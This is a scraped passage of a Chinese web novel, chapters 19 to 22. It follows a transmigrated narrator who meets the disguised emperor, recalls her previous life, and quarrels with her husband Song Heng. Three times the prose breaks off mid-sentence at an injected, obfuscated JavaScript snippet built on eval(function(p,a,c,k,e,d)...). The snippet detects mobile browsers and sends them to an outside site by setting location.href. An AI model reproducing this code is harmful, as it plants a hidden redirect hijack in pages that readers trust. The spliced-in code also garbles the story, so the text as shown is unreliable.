我正说得唾沫横飞,斗笠男的肩膀抑制不住地抖了起来,后来实在忍不住抚掌大笑,几乎笑弯了腰。 19. 第十九章 绝笔 我停下慷慨陈词,不悦地瞪向斗笠男问道:“这位公子有何高见?” 斗笠男止住笑声,摆动双手:“没有没有,姑娘说得甚是有理。” 姑娘?我摸了摸鬓发,难道今天出来的匆忙梳了一个未婚少女的发型! 可看我的岁数,也应当知道我是已婚妇女啊,该称夫人吧! “姑娘,还请接着讲。”正当我困惑不解时,斗笠男比了个继续的手势。 我见他没有改口的意思,按捺住心中的困惑,继续道:“白练和红珠不是非此即彼的关系,她两人本就相互欣赏,是朋友是知己,是傲天的不同时期的爱人,红珠死了只活在——” “你怎么知道红珠复活不了,红珠可是妖界公主,傲天也在寻找复活之法,她自然能死而复生。”斗笠男质疑道。 此话如同油锅里浇沸水,顿时引起了红珠党的不满,个个义愤填膺,七嘴八舌道。 “是啊,你凭什么说红珠复活不了?” “就是,红珠可是女主之一,不可能早死!” “……” 呃,不小心剧透了,我连忙补救:“我是无忧散客的铁杆粉丝,她的套路我都摸清了,红珠魂飞魄散了,肯定复活不了。” “是嘛——”斗笠男拉长声音,面纱之下,看不清他的神色。 正当我以为他又会挑刺时,斗笠男却摆出一副洗耳恭听的姿态,直至我讲完,他都没有再捣乱,听到兴起之处,还附和着点点头。 “白练和红珠各有千秋,皆是世间奇女子,无论傲天选择哪个,不代表另一个很差,只能说傲天和谁更有缘分罢了。” 我话音落下后,现场为之一静。 “受教了。”年轻书生打破了沉默,走到红珠党面前,诚恳地拱手致歉:“红珠确实是个敢爱敢恨、如骄阳般的女子,是在下狭隘了。” “白练坚定执着、心怀苍生,配得上傲天,我不该诋毁她的。”佩刀小哥也对白练党低下了头颅。 双方最大的嘴炮都已握手言和,其他人也渐渐退散了,我本来也打算拉着李越青和胭脂走的,结果斗笠男叫住了我。 “姑娘,请留步!”见我不确定地望向他,斗笠男迈步过来,“几位的见解令在下耳目一新,想来皆是无忧散客的书粉,我们也算不吵不相识了,不如由在下做东,相互认识一番,今后可共同探讨无忧散客的话本。” 我其实有点心动的,年轻书生和佩刀小哥生得极好,多瞅两眼未尝不可?只是想到我和宋珩还未和离呢,闹出绯闻不合适,宋珩肯定会以此为借口,扯平云云,平白增添和离难度。 该死的宋珩迟迟不肯和离,断了我多少桃花缘啊! 依依不舍地瞅了瞅两个帅哥,我满脸遗憾道:“多谢公子拳拳盛意,可惜我们今日还有事,不便同往。” “是么,李娘子。”斗笠男轻笑出声,一语道破了我的身份,然后摘下斗笠,一张眼角带着淤青的熟悉面孔出现我的眼前。 看清那张脸后,恨不得转身就跑。 原来斗笠男正是昨晚惨遭我殴打,不育病患,当今天子赵旭! 我努力牵动嘴角,露出一个比哭还难看的笑容:“圣……” 佩刀小哥制止了我,低声道:“李姐姐,圣上今日微服私访,毋须多礼,称他九爷便是。” “李娘子,我们还真缘分不浅,昨晚才见了面,今天又碰上了。”赵旭感叹完后,又指着李越青,啧啧称奇:“原来小公子竟是令侄,伶牙俐齿,一点儿也不似素基兄嘛。” 我抖了抖,想起了被鞭子支配的恐惧,赶忙拉过李越青,按着他的脑袋给赵旭赔礼,“九爷,我家小子年少无知,口无遮拦,还请您大人不记小人过,饶他一回。” 李越青若有所思地看了眼赵旭,很老实地没有挣扎,面色平静地赔礼致歉。 “李娘子你莫要吓着孩子,我跟青哥儿萝卜青菜各有所爱,不过书友之争罢了,何罪之有。”赵旭“大度”地摆摆手,不待我松口气,又指着年轻书生和佩刀小哥对我道:“倒是李娘子那番关于文状元还是武状元的比喻很有趣。相逢即是缘分,子言,阿慎你们过来,介绍一下自己。” 我心里升起一股要被惨遭打脸的不详预感。 “李大姐,夏子言这厢有礼了。”果然年轻书生朝我作揖,接着谦虚一笑:“在下不才,侥幸中得殿试文状元。” 我还没从尴尬中回过神,佩刀小哥从赵旭身后站出,双手抱拳:“李姐姐,我叫齐慎,承蒙圣上抬爱,点了在下为今年武状元。” “……两位真是年少有为啊!”我干笑一声,欲脚底抹油:“九爷我家里还有急事,如果没什么事的话,我们就先告辞了。” 赵旭拦在我身前,指着自己眼角淤青,嘿嘿笑道:“昨夜我不过想借一下李娘子的金钗,不借就算了,为何狠下毒手将我打成这般模样,以致于无颜见人。李娘子难道不该表示表示?” 我:“……” …… 快活楼分三层,中庭镂空,大厅搭至二楼的台子,台上一名说书人正中气十足的讲着赵嘉仪、时彤彤、大雍高宗三人的爱情纠葛。 刚刚赵旭非要我补偿,我做好了挨顿毒打的准备,结果他仅仅要求我请在场几人到快活楼里吃顿饭。 迫于权力的淫威,我只好忍着心痛,来到了京城第一楼快活楼定了最好的雅间,叫上了最好的酒菜。 听到赵嘉仪的名字,前世种种一一浮现于眼前。 我十岁那年父母因车祸去世,我成了孤儿,亲戚们只顾抢夺父母留下的遗产,像皮球一样将我踢来踢去,谁也不肯收留我,最后我进了孤儿院。 我那时个子矮小、身体瘦弱常受人欺负,本以为这种日子要过到很久,只过了一个月,陆誊的父母来到孤儿院收养了我。 来到陆家后,我成为了陆誊的妹妹,也认识了赵嘉仪。 赵嘉仪比我大五岁,按理我们不该有过多交集的。 可大概觉得我是收养的,他是跟着母亲进入豪门的“拖油瓶”,认为我跟他一样都是寄人篱下,天然对我有种同病相怜之感,对我十分照顾。 十二岁那年,养父母又因给故友担保致公司破产,还欠下巨额高利贷,双双跳楼自杀。我以为自己要再回孤儿院,可陆誊没有丢下我,反而用他不甚宽厚的肩膀为我遮住所有的风雨。 初期我们的日子很难,家里所有的东西都被追债之人拍卖带走,最狼狈的时候,我们连个落脚之地都找不到。 正准备艺考的赵嘉仪得知我们的遭遇后,将时彤彤历年的压岁钱骗来交给我们,靠着这笔钱,我们渡过了最艰难的时光。 每当遇到有人嘲笑我是克父克母的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730434|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孤儿时,赵嘉仪都会挺身而出搂着我的肩膀,气势十足恐吓道:“陆誊是我的好兄弟,陆誊的妹妹就是我妹妹,芍芍是我罩着的,谁要是惹她,就是和我作对,我可要不客气了!” “李娘子?”大概见我心不在焉,赵旭正竖起筷子轻敲我手边的桌沿。 我回过神,侧头看向眼前的青年,本来我因李素基的死,对赵旭恨得牙痒痒,可想到他是赵嘉仪的后世子孙,内心不由地生出一丝看见晚辈的慈爱之情,恨意似乎也淡去一缕。 赵旭摸了摸脸,神色怪异道:“李娘子,你为何这般看我,就跟看青哥儿一样。” 他倒是敏锐,我诧异地将目光投向他,实话实话:“九爷好眼力,我想起了九爷的一个长辈,有些感慨罢了。” “长辈?”赵旭面露疑惑,继而眉头拧起,声音微冷,“李娘子想得是我爹还是姜侯爷?” 不待我解释,他瞟了我一眼,面露不认同之色,继续道:“李娘子大我不到两岁,何故在我面前故作老成。再者我亲政多年,早就是个成熟男人了。” 我内心犯了嘀咕:成熟男人还和小孩为个话本角色起争执? 在场其他人似乎也觉得赵旭此言突兀,神色难以形容地看向他。 赵旭见状,微笑着和我们一一对视,我们几人面面相觑,打了个寒颤,不敢再多言,闷头扒菜吃。 一片安静中,外面正好讲到时彤彤成为了大雍高祖刘惠妃子后,赵嘉仪爱而不得,恨而无力的虐心情节。 赵嘉仪的想法我不太清楚。他表面大大咧咧,实则粗中有细,心思隐藏得极深,很难摸透他真正的情绪。 而时彤彤自幼丧母,时爸忙于事业,赵嘉仪的妈妈忙着生儿子,生活上全靠赵嘉仪照顾,因此对赵嘉仪很依赖,久而久之变成了强烈的占有欲。无论男女老少,只要和赵嘉仪走得近些,她都会一脸天真可爱地插进他们之间。 时彤彤见赵嘉仪对我颇为照顾,每每撞见我都阴耸着脸,得知我跟陆誊互表心意后,年仅14岁的小姑娘,才露出一个微笑:“既然周姐姐跟陆大哥在一起了,那周姐姐就是我的朋友,今后不会再有人说周姐姐是克父克母的不祥之人了。如果周姐姐肯和我哥绝交的话,周姐姐今后的学费和生活费,我全包了。当然陆大哥跟我哥离得远些,他今后的工作也不用愁了,我会让爸爸给他安排个好工作。” 我:“……” 每当我听到时皇后这个说法,我都难以想象,那个执着到病娇的小姑娘怎么会成了高祖的妃子。 时间太久远了,其中的原委早已湮灭于时光之下,可我知道她肯定是痛苦的,否则她怎么会在误以为赵嘉仪死后,年仅三十岁就毅然决然服毒自尽。 其实准确来讲,她应该是四十岁了,根据史书记载,他们第一次出现世人面前时,身着奇装异服,一个十三岁,一个年仅五岁。她和赵嘉仪身体跟灵魂一起来到了这个世界,只是岁月在他们身上倒流了十年。 “唉,可惜啊,当年时皇后收到了赵丞相的绝笔纸条……” 听到这里,我鼓起勇气,突然问了赵旭心里憋了很久的问题:“九爷,身为赵丞相的嫡系子孙,您知道赵丞相给时彤彤的纸条上写了什么吗?” “两个名字——罗密欧、朱丽叶,加一个西洋的方外之士——神父。”赵旭爽快地告诉了我答案。 20. 第二十章 吃醋 目送赵旭和戚慎、夏子言等人离去的背影,李越青神色奇异:“他便是大周皇帝?” 我大约理解他的困惑,回想我跟赵旭从初遇到今天,断断续续接触其实已经十年来年了,说起来也算老相识了。 其实我也难以想象,这个骄纵跋扈,谈吐无甚出众的年轻人,能坐稳皇位。 或许人是不能只看表面,作为深入接触赵旭的人,李素基对他的评价可供参考一二: “圣上的才智算不得顶尖,但他的心足够硬,不受任何感情的牵绊和干扰,关键时刻永远能做出最有利于自己的选择。凭着先帝和姜侯爷留下的底子,假以时日定能有番大作为,说不定是下一个汉武高祖。” 这个评价很不得了。 这个世界公元前的历史基本一样,历史是从汉朝没有王莽开始拐弯的。 由于没有王莽的篡位,汉平帝刘衎之后,还磕磕绊绊传了好几代,直到黄巾军起义,才彻底终结了刘家的统治,从此中原大地进入了长达四百多年的分裂动乱之中。 汉武不用说了,高祖则是再次统一中原,建立汉民族信心,类似隋文帝+唐太宗式的人物,是个“从来被模仿,从未被超越”的皇帝标杆。 李素基或许高看了赵旭,但他能在错综复杂的激烈变革中,平定多起叛乱,总揽权纲,落实了多项断人财路的重大政令,定有不为人知的过人之处,不然高人的箴言早就变为现实了。 “他除了生不出儿子之外,作为皇帝来讲,没有什么可以挑剔的地方。你爹那样厉害的人,不都为他自杀了么?” “哼,不过有个好爹和好老师罢了。”李越青嘴硬,大概听我提到李素基的往事,神色冰冷起来:“至于爹,当年辽东诸将与后汗勾结,不顾我们全家都被扣在京中,欲拥他自立。他若不自刎谢罪,死得就是我们。” 我淡淡道:“他已经回京城了,没必要连皇帝的面都不见,直接自刎于承天门。” 赵旭似若有所觉,回过头来,目光刚好与我的眼神相撞,我忙不迭地献上个巴结的笑容。 “姑姑,别笑了,英明神武的皇帝已经走远了。”见我形容猥琐,李越青握拳抵在唇边轻咳,讥诮地继续道:“因为他无法向皇帝解释,难道说臣忠心耿耿,只是臣的手下全部叛变罢了。” 我没有理会他,直到赵旭飞扬的衣摆完全消失于墙角,脸上的笑容才一点点地隐去,转头看向身侧的李越青,正要给他个糖炒栗子,发现抬肘才能够到他的头顶了,手不由地僵在空中。 第一次见到他的时候,他刚出生三个月,是个白胖团子,眼睛不大,却十分机灵,见了我便笑呵呵地傻笑,大张着双臂求抱抱。 当年的小萝卜头已经成为了长成需要我仰望的少年了,时间过得似乎没有想象中那般慢悠,十七年就这样晃荡过去了。 李越青见我愣住,主动低下头颅,抓着我的手放到他的脑袋上,嬉皮笑脸道:“越青不孝,又给您惹事了,我认罚,这次绝不狡辩。” 我望着那张酷似李素基的脸,薅了一把他的头发,叹了口气,语重心长道:“越青,你长大了,该好好读书了,好歹中个进士,有个功名将来才能不受欺负啊。” 我知道李越青对赵旭心结极深,无意于仕途,此生最大的愿望就是当个富贵闲人。 本来我对他也没有太高的要求,期望他考个秀才就不错了,有这层身份,行走天下,别人也不敢随意欺辱他。 只是他经常对我的要求打折扣,所以我也只好提高标准。 “姑姑,我就是一团烂泥,扶不上墙的,身为李家唯一的独苗,我的责任就是传宗接代,延续香火。你啊,总逼我上进,我看你是使错方向了,好好爱护我才是正途。” 李越青毫不掩饰自己得过且过的本性,大概见我脸色发黑,眼睛一转,立即找了个理由,振振有词道:“何况现在功名有什么用,又不似以往能免税,现在连皇帝都要交税了。” 先帝吃过收不上税的苦头,差点自挂东南枝。 泰和十五年,先帝靠着姜侯爷缓过气后,第一刀砍向了欠税重灾区,勒令南直隶和钱塘的大户,一个月内缴清自他登基十五年以来的欠税。 当地士绅纷纷举兵造反,结果被姜侯爷的新军以摧枯拉朽式地击溃,并趁机收回大量无主之地,分给了失地百姓以及卸甲的新军将士。 由于害怕后世子孙重复自己的遭遇,泰和十八年,先帝的第二刀砍向了千年传统,取消官绅不当差不纳粮的祖宗之法,改为官绅一体当差一体纳粮。 自政策出台,几乎遭到所有官员的反对,各地罢考不断。先帝无奈只好收回了大部分成命,仅在南北直隶、钱塘、齐鲁四地进行试点,除了齐鲁反抗得比较厉害之外,其他三地适应良好。 为了做出表率,皇帝承诺自己也交税,结果实际征收的时候,发现自己交得最多。 眼见李越青不吃我的感情牌,我开始捋袖子,决定“以力服人”,正想喊胭脂帮我摁住他,突然想到夏子言和戚慎偷偷瞥向胭脂的眼神,有惊艳也有爱慕。 我细细打量胭脂,眉目如画,气质沉静,心里甚是骄傲,这可是我亲手养大的姑娘啊! “胭脂,你今年二十有三了吧,也老大不小了,该考虑终身大事了。刚刚那两个状元瞅了你好几眼,似乎对你有意。 其实我最看好张锦,他为了你二十五岁“高龄”尚未娶妻。前几年又中了举人,听说宋珩有意为他在户部谋个官职,前途不可限量哟。” 我瞄了瞄脸色跟名字十分相称的李越青,见有效果,继续趁热打铁刺激道:“千万不要选那些只会花言巧语,却没半点本事的男人,你生得这般出众,无能男人护不住你的。” 李越青气得跺脚,目光偷偷向胭脂探去,见胭脂无动于衷,长舒一口,似放下心来,一改安于现状的嘴脸,像打了鸡血的公鸡,昂首挺胸道:“姑姑说得有道理,我确实得有个功名,不然张锦那个阴险老男人指不定使出什么坏招来。我可不能当着胭脂的面儿给他卑躬屈膝。” 嗯,秀才可以见官不跪。 我满意地点点头,胭脂冷不丁来了句:“娘子放心,我天生不喜欢男人,男人骗不了我。我有娘子保护,今生足以。” “姑姑!”李越青抓狂,胭脂轻飘飘地瞥他一眼后,他立刻老实下来,神情幽怨地看向我:“千防万防,家贼难防。” 我怀疑胭脂不想成婚,故意祸水东引,苦于拿不出证据,无奈向李越青保证:“青哥儿,我发誓,我真的是直的。” …… 回到宋府时,我撞见了宋老爷,他拐弯抹角地问我今天在外面碰见了谁,说了些什么。 我眉头跳跳,宋家的暗卫,干啥啥不行,打小报告的本事倒是一流。 将今日碰见赵旭的事简单地说了下,最后我信誓旦旦地保证道:“放心吧,公公,圣上似乎并无怪罪之意,如若他真的要追究,我会一力承担,不会牵连到宋家的。 不过为了保险起见,您还是劝宋珩把和离书写下,这样无论如何都与宋家无关了。宋珩觉得欠了我,拿乔不肯和离,他脾气执拗,只听您的话了,您亲自劝说,他一定会同意的。” “素娥,你说的是什么话,阿珩对你的心,你当真不知么?”宋老爷脸皮抽了抽,“为了你,前途、性命他全然不顾,何况如今的大势是依法治天下,孝道拿捏不住他了。老头子我若敢多言,他恐怕连我这个爹都不会认了。” 宋老爷语气里满满的失落,不知是遗憾管不住宋珩,还是感叹世道的变化。 …… “今日我去给书房,给公公送汤时,听见他跟二弟争执些什么,似乎是为了多年前的一封书信。”徐有凰不声不响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730435|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地出现在我身边,望着宋老爷步履蹒跚的背影,丢下一句没头没尾的话,翩然离去。 我若有所思地回了房间,发现宋珩正坐在桌前,翻阅我的信件,还看了不少的样子,桌上洒满了七零八落的信笺。 他听见响动,抬眸看向我,大大方方跟我打了声招呼,然后低头继续看信,摇头轻笑:“他性情凉薄,也不知谁才是他心目中的正室。” 我走上前,眼神落在他手中的信上,字迹张牙舞爪,原来是无畏兄的信。 “这个无畏兄倒是家丑不怕外扬,无论何事都敢透漏给娘子,想来把娘子看作长辈了吧。” 宋珩看信速度极快,片刻功夫就从头到晚地看完了无畏兄的最新来信,随意地丢在桌上,又拆起了我写给无畏兄的信。 “什么长辈,我们是知己,我有什么事情也给无畏兄说。”我故意气他,还不忘伸手去抢信,里面还有关于宋珩是倾世美人的吹牛之言,他信以为真就不好了。 “为夫对娘子也是知无不言啊,娘子的房里全是外人的信,为夫的信连片信封都找不到。” 宋珩压根不接无畏兄的茬,悠悠起身,把信高高举起,眼底闪着狐疑之色:“为夫的信,娘子不会全烧了吧?” 我理直气壮地承认了,“你还好意思说,你故意装成女子骗我感情,我还以为真有女子遭了不幸,为苦主的名誉,可不得烧了。” “为夫写给娘的信,娘子哪次好好看过?”宋珩似笑非笑地看了我一眼,“我知道娘子对女子素来包容,只好出此下策了。” 我不由无言以对,以前宋珩只要写信给我,我便在大庭广众之下大声朗读,还会以做阅读理解的方式,指出这句话用了何种手法,代表何种含义…… 后来宋珩明面上的信就变成了几句简单的问好,或是他在新亭的见闻之类的。我也懒得看,攒得多了,装订成册,丢给胭脂当稿纸。 宋珩取出我写给无畏兄的信,信封随意地扔在桌上,展开信纸,声情并茂地念了出来,让我也体会了私信被当众朗诵的尴尬。 我脸颊发烫,跳起来抢夺,宋珩也不躲闪,低头冲我粲然一笑,如同春花绽放,我不争气地愣了两秒。 宋珩天生精力充沛,即使熬了通宵,稍作休息,又是一条生龙活虎的好汉,跟没事人一样,丝毫不受影响,该干嘛干嘛。 这次他一路舟车劳顿,神色比以往憔悴许多,休养了半天,这么近距离瞧着,容色果然比早上看起来强多了,确实有祸水的天赋。 “奈何拙荆貌若天仙……” 宋珩愉悦大笑,趁我发愣之际,单手搂住我的腰,将我困在怀中,左脚勾来椅子,抱着我一同落座,头搁在我肩上,声音里充满了自得:“看来为夫的相貌,娘子还是满意的。” “我舍不得的是你家的积财,不对,应该是你爹的积财!”我一面我批评他看信没抓住重点,一面奋力挣扎,却没有注意到宋珩的呼吸已然急促起来,前胸也不知何时地贴在了我的后背上。 “素娥,别动!”宋珩暗哑的声音在耳边响起,环在我腰间的手臂猛然收紧,勒得我几乎喘不过气来。 我本应坚决推开他的,可唇齿间的温热萦绕在颈侧,神志也热得发昏起来,手脚使不出力,模模糊糊地自我辩解:“老有人污蔑我对宋珩色心不死,黑锅背了多年,可不能白背!” 宋珩似是得到了鼓励,一把抱起我,手中的信笺飘然落地,我脑海中闪过什么,急急问道:“我听人说你家跟当今皇室有些亲戚关系,所以皇室向来优待宋家,可真有此事?” “可不敢跟皇室胡乱攀亲戚。”宋珩有些急躁地往床边走,随意道:“我家才是赵嘉仪和时彤彤的后人,大周太*祖与先祖有些渊源……” 我顿时如坠冰窟,浇灭了我所有的猥琐心思……现在只恨不得撞墙,我都干了什么! 21. 第二十一章 相貌 “前朝末年,天下动荡,民间有箴言:大顺气数已尽,赵氏当兴。百足之虫死而不僵,当时的大顺尚有余力,赵嘉仪的嫡脉赵家成了大顺皇室重点铲除的对象。 大顺赵家仅仅逃出一名嫡系子孙,为了自保,他抛弃了赵姓,改姓宋,化身普通百姓,藏于民间。而大周赵氏的开国皇帝赵立天命所归,历经数十年推翻大顺朝,建立了如今的大周。 由于大周太*祖父母不详,只是在赵家长大罢了,当年也打得赵氏嫡系的旗号,因此他成为皇帝后,干脆将赵嘉仪认成自己的祖宗。 老祖宗愧疚自己改名换姓,又因皇帝已经占了赵氏嫡脉的名号,只好将错就错一直姓宋了。赵氏见宋氏这么上道,便一直优待于宋氏,还将快活楼还给了我们。” 听完宋珩的讲述,我恍然大悟,怪不得在离开前赵旭偷偷告诉我,赵嘉仪之事可以问宋珩。 我死死地盯着宋珩俊美无俦的面容,当时我只察觉出他跟赵嘉仪有三分相似,直到现在才注意到这双眼睛与时彤彤相差无几,笑起来眉眼弯弯欲语还休,不笑则幽冷深邃难以捉摸。 难怪见宋珩第一眼时,便有种恍然瞧见故人的感觉…… 赵嘉仪、时彤彤,我对不起你们! 可这不能怪我啊,谁让我遇见了一对极类我前世的姐妹,甚至有个半分不差,但我跟她们没有半毛血缘关系! 所以宋珩虽然有些眼熟,我也只是当做天下之大,相貌相似不过巧合罢了。 “娘子!”宋珩见我脸色难看,起身来到我身边,伸手探向我。 我立刻双臂抱肩,跳到凳子上,一脸防备地尖叫道:“别碰我!” 宋珩面色发白,显出几分难过来,闭目自嘲道:“我就这么让你难以忍受。” “没错!”我干脆地“承认”了,全然忘了刚刚想再嫖一把的心思,正气凛然道:“宋珩,我与你注定有缘无分,不能一错再错了!” “一错再错?”宋珩垂头低声重复,猛地看向我,眼睛微眯:“素娥,你说实话我长得到底像谁,真的像姜侯爷吗?” 姜侯爷就是陆誊,我命中的劫难,前世因救他而挂,今生死了还不消停,偏要留个老婆折腾我…… 毕竟前世生活了那么多年,初闻他的死讯,我还掉了几滴鳄鱼眼泪。 宋珩见了,在一边不阴不阳道:“娘子近来为何老是无端落泪?” 我开始还没有听出宋珩的阴阳怪气,这一世陆誊跟李家乃是宿敌,只得勉强收拾起情绪,“大概孕妇都是多愁善感的。” 宋珩不可置否,摸着我的肚子,声音缥缈,“大夫说,你胎相不稳,心情过度悲伤对孩子不好。” 后来林思苑借住宋府,因处于孝期,全身缟素,神色却不见悲伤,散发着若有若无的危险气息,眼神还时不时与宋珩暧昧纠缠。 我本能地生出戒备。 宋珩和林思苑青梅竹马,自小有婚约,若不是林家遭逢大难,陆誊又横插一脚,他俩早就双宿双飞快活似神仙了! 我与宋珩相遇时,他就在为林思苑黯然神伤。 那天我也因确认陆誊变心而痛苦,所以我常说我俩同是伤心失意人,是彼此退而求其次的选择…… 再次抓到宋珩和林思苑私下里见面后,我心头火起,大骂林思苑不知羞耻,姜侯爷尸骨未寒便迫不及待勾三搭四,给他绿帽子云云。 “够了,娘子满口皆是姜侯爷,有娘子替他打抱不平,姜侯爷在天有灵之下,想必欣慰得很……” 宋珩将林思苑扯到身后,冷嘲热讽道。 我见他一心护着林思苑,又想到我跟陆誊绿油油的样子,心中更是生气,跟他剧烈争吵起来。 宋珩大概被我骂得冒火,怒极攻心,脱口道:“若我不是长得像姜侯爷的前世,娘子会嫁给我吗!” “你说什么?”我不可置信地看着他们二人。 “难道娘子现在还要瞒着我吗!好,那我们不妨从头说起。”宋珩扯了扯嘴角,讥诮道:“我们第一次遇见那日,姜侯爷带着表妹回金陵赴任,路过西郊之际,怀孕七月的表妹突发血崩,命悬一线,正是娘子施以援手,才救回了表妹。 娘子那时不过豆蔻年华,姜侯爷竟敢让你救治表妹,该说不愧是姜侯爷嘛。这倒罢了,毕竟世界之大,无奇不有,一个痴呆了十年的姑娘都可能清醒过来,还能无师自通精妙医术,姜侯爷也只是胆子大了些。只是我一直不明白,赖侯爷为何当时舍得拿出价值一百万两银票、地契来答谢娘子? 救命之恩,自当重谢,可那是姜侯爷一半的身家,谢礼未免太重了些!” 我惊疑不定,冷冷地望着他:“你到底想说什么?” 宋珩自嘲笑笑:“这姜侯爷说来还有几分传奇呢。二十岁之前才智平平,毫无过人之处。谁承想,他救下落水的先皇,从昏迷中醒来就跟换了个人似的。不但博古通今,还擅工事,拿出了许多巧夺天工的图纸。 娘子,你说姜侯爷前后为何反差那么大,难道真如舅兄先前所猜测:姜侯爷生母早逝,继母又刁钻,为自保,只得韬光养晦罢了。从鬼门关走一趟后,明白忍让毫无意义,便不再伪装了?” 我看着眼前的男人,明白我一直想要隐藏的秘密,他早就一清二楚了,却从未表现出来,不由心底发寒:“你什么时候知道的?” “第一天遇见娘子时,我就有些怀疑了。姜侯爷与娘子明明素未谋面,却像认识多年一般。”宋珩叹道:“之后与娘子相处久了,我更加确定自己的想法。虽然娘子极力掩饰自己,舅兄也将娘子隐藏得很好,可娘子无意间的只言片语,处处透漏了娘子的与众不同……” “够了!”我厉声打断他:“你明知如此,为何还要娶我?” “当然是心悦于你。”躲在宋珩身后的林思苑探出头来,抢先一步回答,又见我满脸怒火,似是为了增加可信度,补充道:“当年表哥可是连安顺王爷的嫡女都不要呢……” 她的话我彻底听不进去了,看着宋珩沉默不语的表情,我无声惨笑起来。 先帝一心要分巨户的土地,赵家的王爷们经过百年繁衍,大周的土地十分之一几乎富集于他们手上,除了先帝的同胞弟弟长兴王,个个有钱无兵,哪个不是待宰的羔羊! 宋珩脑子要进多少水,才会跳上安顺王这艘注定要沉的大船。 我一直以为宋珩爱上的是我有趣的灵魂,直到现在才意识到:原来他爱的是李家的家世。 姜侯爷夺走他的未婚妻,权势滔天,除了先帝之外,只有依靠新学成了气候的李家,才有机会与姜侯爷一较长短,洗刷他的耻辱。 宋珩见我脸色难看,瞬间明白我心中所想,挥开林思苑,试图抱住我,“素娥,我不否认起初有利用你的心思,可是……” “没错!”我嫌恶地甩开宋珩,从没有如那一刻般清醒又疯狂,脑子是狂乱的,可是说出的话又是条理清晰,无可辩驳:“若不是你宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730436|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珩有九分像陆誊,我凭什么嫁给你? 我放着长兴王世子妃、太子良娣不做,青梅竹马的孙月骁,天资出众的学子不选,跟你宋珩成亲? 一个空有声名,实际不过吏部员外郎的小儿子!” 宋珩眼圈发红,死死地盯着我:“素娥你在骗我,你对我有情的……” 我心里升出一股心如刀割的快意,踮起脚尖,轻拍他的脸,继续添油加醋:“宋珩你已经是个成年人了,要学会面对现实。听闻陆誊娶了林思苑后,我早就绝了成婚的心思,只是宋琛太像陆誊了,不然我怎么会同意和宋琛婚事?若非他移情别恋,我现在应该是你大哥的妻子。” 宋珩攥住我的手腕,目光深深地落在我脸上,眉间全是难以自持的痛苦:“素娥只是误会了我与表妹,故意气我。” “宋珩你还不明白我的意思吗?”我扫了一眼被他抓得青紫的手腕,冷静地望着他:“你和宋琛对我来说,根本没有区别,因为长得像陆誊,谁都可以做我的丈夫。” 宋珩闻言,眼中的神采顿时黯淡下去,脸色灰白如同抽干了生气,怔怔地松开我的手,毫无生气地退后几步,转身踉跄离去。 望着他恍如幽魂的背影,我的头仿若针扎般痛苦难言,肚子也抽痛得厉害,瞟到一旁的林思苑,嘴角似乎还带着若有若无的得色。 我心里顿时升起一股无名刻毒:“林思苑,你也不要得意,如果你不是跟我前世长得一模一样,姜侯爷连看都不会看你一眼,你现在还教坊司卖笑呢!” 我也不知道那时为何会说出那般恶毒的言语,大概我是嫉恨林思苑的,因为爱我的男人,都不自觉地分了一份的真心给她。 …… 我看向固执等着答案的宋珩,轻轻一笑:“当然是姜侯爷。” “素娥,你再也骗不了我了,刚刚提到我是赵嘉仪和时彤彤的后人,你就跟变了个人似的,我长得像赵嘉仪对不对?”宋珩仰头望着我似哭似笑,然后将头埋入我腰间,喃喃自语,“我究竟干了什么……” 我肉麻地受不了,一把推开他,干脆跳下凳子,知道瞒不住他,开始编瞎话:“当然你也像赵嘉仪,他们两个是双胞胎兄弟,只不过他父母和离了,一个跟爹姓,一个跟妈姓,宋珩不要用这种怀疑的眼神看着我,这在我们那个时代很正常的。 当年他们兄弟都喜欢我,一个如太阳般耀眼,一个如夜色般深沉,我左右为难,都不知道选哪个好……” 宋珩神色不变,静静地看着我,待我编不下去后,摆出一副欲言又止的模样,见我面露不耐烦后,才支支吾吾道:“素娥,这话你不要跟表妹说,她以为我长得像陆誊才和我……生下了沣哥儿。 当年老师临死之际,认为自己绝了姜家之后,希望表妹有个孩子延续姜氏门楣,名字都起好了,叫姜思周。其实我早就知道表妹心慕老师,我不过是自欺欺人罢了……” 能跟暗恋多年的富婆女神生儿子,这是多少男人梦寐以求的事啊,宋珩还有脸委屈,连我都恨不得化成男人以身代之。 可恨当年怎么没把宋珩给穿了! 林思苑和我前世生得相差无几,想想还有点水仙的味道…… 我嫉妒地看了眼宋珩,毫不客气道:“宋珩,收起你那副被“借腹生子”的怨妇样,不要得了便宜还卖乖!” 宋珩神色怅然,仰天长叹:“人人都道宋少卿艳福不浅,世人哪知宋少卿才是饱受蹂*躏的可怜之人……” 22. 第二十二章 劝学 